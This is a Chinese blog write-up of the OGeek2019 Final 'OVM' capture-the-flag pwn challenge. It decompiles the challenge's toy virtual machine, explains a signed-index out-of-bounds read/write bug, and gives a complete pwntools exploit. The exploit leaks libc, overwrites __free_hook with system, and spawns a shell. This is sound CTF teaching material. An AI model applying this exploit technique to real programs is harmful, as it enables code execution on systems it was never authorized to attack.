Pwn_vm入门

本文最后更新于 2024年12月30日 晚上

pwn_vm入门

介绍

首先介绍一下什么是vm_pwn,这东西一般代指在程序中实现运算指令来模拟程序的运行(汇编类)或者在程序中自定义运算指令的程序(编译类),而常见的vmpwn就是这两种题型,而常见的漏洞点是越界读写,下面我们用题目来学习、

[OGeek2019 Final]OVM

先检查一下保护,发现除了canary都开了

程序主体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int16 v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int16 v6; // [rsp+6h] [rbp-Ah] BYREF
int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

comment = malloc(0x8CuLL);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(2, signal_handler);
write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &v5);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &v6);
getchar();
reg[13] = v6;
reg[15] = v5;
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &v4);
getchar();
if ( v6 + (unsigned int)v4 > 0x10000 || !v4 )
{
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; v4 > i; ++i )
{
_isoc99_scanf("%d", &memory[v5 + i]);
if ( (memory[i + v5] & 0xFF000000) == -16777216 )
memory[i + v5] = -536870912;
getchar();
}
while ( running )
{
v7 = fetch();
execute(v7);
}
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment, 0x8CuLL);
sendcomment(comment);
write(1, "Bye\n", 4uLL);
return 0;
}

先来介绍一下总体的程序流程,首先要输入PC和SP,对应程序计数器和堆栈指针,这就很明显reg数组模拟的是栈

接着让用户输入要执行的代码大小,这个大小不能超过0x10000,然后让用户输入执行代码,通过execute函数执行

执行完代码后往comment存的内容读入数据,这里要注意的是已comment的内容为地址读入,而不是comment本身,然后执行sendcomment函数,这里其实就是执行free函数

然后我们来看看execute函数的具体内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
ssize_t __fastcall execute(int a1)
{
ssize_t result; // rax
unsigned __int8 v2; // [rsp+18h] [rbp-8h]
unsigned __int8 v3; // [rsp+19h] [rbp-7h]
unsigned __int8 v4; // [rsp+1Ah] [rbp-6h]
int i; // [rsp+1Ch] [rbp-4h]

v4 = (a1 & 0xF0000u) >> 16;
v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
v2 = a1 & 0xF;
result = HIBYTE(a1);
if ( HIBYTE(a1) == 0x70 ) // 操作码为0x70(112)为加法操作数
//
{
result = (ssize_t)reg;
reg[v4] = reg[v2] + reg[v3];
return result;
}
if ( HIBYTE(a1) > 0x70u )
{
if ( HIBYTE(a1) == 0xB0 )
{
result = (ssize_t)reg;
reg[v4] = reg[v2] ^ reg[v3]; // 异或
return result;
}
if ( HIBYTE(a1) > 0xB0u )
{
if ( HIBYTE(a1) == 0xD0 )
{
result = (ssize_t)reg;
reg[v4] = (int)reg[v3] >> reg[v2]; // 右移
return result;
}
if ( HIBYTE(a1) > 0xD0u )
{
if ( HIBYTE(a1) == 0xE0 )
{
running = 0;
if ( !reg[13] )
return write(1, "EXIT\n", 5uLL); // exit
}
else if ( HIBYTE(a1) != 0xFF )
{
return result;
}
running = 0;
for ( i = 0; i <= 15; ++i )
printf("R%d: %X\n", (unsigned int)i, (unsigned int)reg[i]);
return write(1, "HALT\n", 5uLL);
}
else if ( HIBYTE(a1) == 0xC0 )
{
result = (ssize_t)reg;
reg[v4] = reg[v3] << reg[v2]; // 左移
}
}
else
{
switch ( HIBYTE(a1) )
{
case 0x90u:
result = (ssize_t)reg;
reg[v4] = reg[v2] & reg[v3]; // 与
break;
case 0xA0u:
result = (ssize_t)reg;
reg[v4] = reg[v2] | reg[v3]; // 或
break;
case 0x80u:
result = (ssize_t)reg;
reg[v4] = reg[v3] - reg[v2]; // 减
break;
}
}
}
else if ( HIBYTE(a1) == 0x30 )
{
result = (ssize_t)reg; // load
reg[v4] = memory[reg[v2]];
}
else if ( HIBYTE(a1) > 0x30u )
{
switch ( HIBYTE(a1) )
{
case 0x50u: // push
LODWORD(result) = reg[13];
reg[13] = result + 1;
result = (int)result;
stack[(int)result] = reg[v4];
break;
case 0x60u: // pop
--reg[13];
result = (ssize_t)reg;
reg[v4] = stack[reg[13]];
break;
case 0x40u: // store
result = (ssize_t)memory;
memory[reg[v2]] = reg[v4];
break;
}
}
else if ( HIBYTE(a1) == 0x10 ) // LOAD_IMM
{
result = (ssize_t)reg;
reg[v4] = (unsigned __int8)a1;
}
else if ( HIBYTE(a1) == 0x20 ) // TEST_ZERO
{
result = (ssize_t)reg;
reg[v4] = (_BYTE)a1 == 0;
}
return result;
}

它通过取高位,右移等操作来获取各个操作数,那么我们输入的命令就应该是它的逆向

1
code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2

这个函数的内容其实就是通过不同的指令,来执行不同的操作,具体逆向成汇编语言就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mov reg, src2		0x10 : reg[dest] = src2
mov reg, 0 0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper

这个题的漏洞点在于越界访问,具体点是movsxd汇编指令的利用

movsxdMove with Sign-Extend 的缩写,用于将一个较小的有符号数据扩展为更大的有符号数据。也就是说数组的下标是有符号的,那么我们可以通过输入负数,进行向上的越界访问

这道题的解题思路是

1.向上越界泄露libc地址

2.通过固定偏移得到free_hook的地址

3.向上越界把free_hook写入comment处

4.用read把free_hook覆盖成system

exp如下,每一步的指令都有注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from LibcSearcher import *
sh = process("./pwn1")
# sh = remote("node4.buuoj.cn", 29921)
# context.log_level = 'debug'
libc=ELF('/home/joker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
print(hex(libc.sym['__free_hook']-libc.sym['stderr']))


def send_code(opcode, dest, src1, src2):
code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2
print(hex(code))
return str(code)

# gdb.attach(sh, 'b *$rebase(0xC4A)')
sh.sendlineafter("PC: ", '10')
sh.sendlineafter("SP: ", '10')
sh.sendlineafter("CODE SIZE: ", "24")
sh.recvuntil("CODE: ")
# gdb.attach(sh, 'b *$rebase(0x0D4B)')

#send_code(op,dest,src1,src2)
#泄露libc高低地址
sh.sendline(send_code(0x10, 0, 0, 26)) #reg[0]=26
sh.sendline(send_code(0x80, 1, 1, 0)) #reg[1]=reg[1]-reg[0]=0-26
sh.sendline(send_code(0x30, 2, 0, 1)) #reg[2]=memory[reg[1]] stdeer_low_addr
sh.sendline(send_code(0x10, 0, 0, 25)) #reg[0]=25
sh.sendline(send_code(0x10, 1, 0, 0)) #reg[1]=0
sh.sendline(send_code(0x80, 1, 1, 0)) #reg[1]=reg[1]-reg[0]=0-25
sh.sendline(send_code(0x30, 3, 0, 1)) #reg[3]=memory[reg[1]] stdeer_high_addr


#print(hex(libc.sym['__free_hook']-libc.sym['stderr']))
#offest=0x10a8
sh.sendline(send_code(0x10, 4, 0, 0x10)) #reg[4]=0x10
sh.sendline(send_code(0x10, 5, 0, 8)) #reg[5]=8
sh.sendline(send_code(0xC0, 4, 4, 5)) #reg[4]=reg[4]<<reg[5]=0x10<<8=0x1000
sh.sendline(send_code(0x10, 5, 0, 0xa)) #reg[5]=0xa
sh.sendline(send_code(0x10, 6, 0, 4)) #reg[6]=4
sh.sendline(send_code(0xC0, 5, 5, 6)) #reg[5]=reg[5]<<reg[6]=0xa<<4=0xa0
sh.sendline(send_code(0x70, 4, 4, 5)) #reg[4]=reg[4]+reg[5]=0x10a0
sh.sendline(send_code(0x70, 2, 4, 2)) #reg[2]=reg[4]+reg[2]=_free_hook

'''
mov reg, src2 0x10 : reg[dest] = src2
mov reg, 0 0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
'''

sh.sendline(send_code(0x10, 4, 0, 8)) #reg[4]=8
sh.sendline(send_code(0x10, 5, 0, 0)) #reg[5]=0
sh.sendline(send_code(0x80, 5, 5, 4)) #reg[5]=reg[5]-reg[4]=-8
sh.sendline(send_code(0x40, 2, 0, 5)) #memory[reg[5]]=reg[2]
sh.sendline(send_code(0x10, 4, 0, 7)) #reg[4]=7
sh.sendline(send_code(0x10, 5, 0, 0)) #reg[5]=0
sh.sendline(send_code(0x80, 5, 5, 4)) #reg[5]=reg[5]-reg[4]=-7
sh.sendline(send_code(0x40, 3, 0, 5)) #memory[reg[5]]=reg[3]
#gdb.attach(sh)
sh.sendline(send_code(0xE0, 0, 0, 0)) #exit and printf


sh.recvuntil("R2: ")
low = int(sh.recvuntil("\n"), 16) + 8
print("[*]" + hex(low))
sh.recvuntil("R3: ")
high = int(sh.recvuntil("\n"), 16)
free_hook_addr = (high << 32) + low
print("[*] __free_hook : " + hex(free_hook_addr))

libc_base = free_hook_addr - libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']

log.success(hex(sys_addr))
payload = b"/bin/sh\x00" + p64(sys_addr)
sh.send(payload)

# gdb.attach(sh)


sh. interactive()

参考文章

vmpwn入门1

[OGeek2019 Final]OVM(简易虚拟机逃逸)


Pwn_vm入门
http://example.com/2024/12/30/pwn-vm入门/
作者
清风
发布于
2024年12月30日
许可协议